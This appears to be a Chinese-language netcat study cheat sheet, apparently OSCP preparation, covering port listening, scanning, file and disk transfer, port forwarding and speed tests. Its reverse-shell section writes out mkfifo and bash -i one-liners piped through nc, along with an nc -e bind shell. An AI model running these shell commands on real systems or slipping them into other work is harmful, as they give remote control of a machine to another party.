功能

1. 监听本地端口
2. 连接目标端口
3. 传送文件
4. Remote Administration with Netcat(OSCP中给的分类,不知道此分类的作用,需要深入学习)
5. 反弹shell
6. 测两台机器间的网速

监听本地端口

# 临时监听端口
nc -l  # 临时监听TCP端口一次
nc -lu  # 临时监听UDP端口

# 以监听TCP端口为例,监听UDP端口基本一样

服务器端临时 监听端口
ncat使用总结
客户端尝试连接服务器端
ncat使用总结
建立TCP连接
ncat使用总结_第1张图片
客户端断开连接时,服务器端也关闭端口的监听
ncat使用总结_第2张图片

nc -lk  #永久监听TCP端口
nc -lku  #永久监听UDP端口
# 永久监听:监听端口,并且客户端端来连接时,服务器端依旧监听等待连接;并且支持多客户端同时连接。UDP端口类似。

ncat使用总结_第3张图片

连接目标端口

# 在监听部分可以找到连接的图,接下来重点操作一下端口扫描;nc扫描端口会创建TCP三次握手连接,会造成一定的流量,容易被发现。
nc    # 连接目标TCP端口
nc -u   # 连接目标UDP端口
# 使用上述命令连接tcp或UDP端口,连接成功后会阻塞在用户输入中,让用户与目标端口进行交互。此外还有一种非交互模式,适合用来扫描端口。
nc -z   #扫描目标TCP端口
nc -zu   # 扫描目标UDP端口
#  -w参数的适用场景:扫描UDP端口;网络状况不好。在网络状况良好是,扫描TCP端口没有必要使用此参数。
nc -z -w1   range

ncat使用总结

ncat使用总结

传送文件

此部分需要两台机器的配合

A机:数据存储机器
B机:备份机器

TCP传送文件

B: nc -l  > filename
A: nc   < filename

文件传送完成后,连接自动断开

ncat使用总结_第4张图片

UDP传送文件

#B
nc -lu  > filename

#A
nc -u   < filename

# 文件传输完成后,连接不会断开,可反复连接B机进行文件传输。

# UDP更适合做一个日志接受端,其他的机器都把通过nc把日志写入到监听的UDP机器上

ncat使用总结_第5张图片

ncat使用总结_第6张图片
传送目录

# 传送目录与传送文件是一样的,只是通过tar将目录打包为压缩文件传过去并自定tar解包,实现传送目录的功能
#B
nc -l  | tar zxvf -

#A
tar zcf - * | nc  

传送分区

B: nc -l  | dd of=/dev/sda
A: dd if=/dev/sda | nc  

反弹shell

# nc有-e选项时

#server
nc -l  -e /bin/bash -i

#client
nc  
# nc没有-e选项时,创建正向shell

#server
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l  > /tmp/fifo

#client
nc  
# 创建反向shell(服务器端连接客户端,然后受客户端控制)
#client: 
nc  

#server: 
mkfifo /tmp/fifo && cat /tmp/fifo | /bin/bash -i 2>&1 | nc   > /tmp/fifo && rm -rf /tmp/fifo

端口转发

# server
nc -l 
mkfifo /tmp/fifo && cat /tmp/fifo | nc localhost  | nc -l  > /tmp/fifo

# client
nc -n  

测机器间网速

A: nc -l  >/dev/null
B: nc   < /dev/zero

A、B:watch -n 1 "/sbin/ifconfig  | grep bytes"

参考文章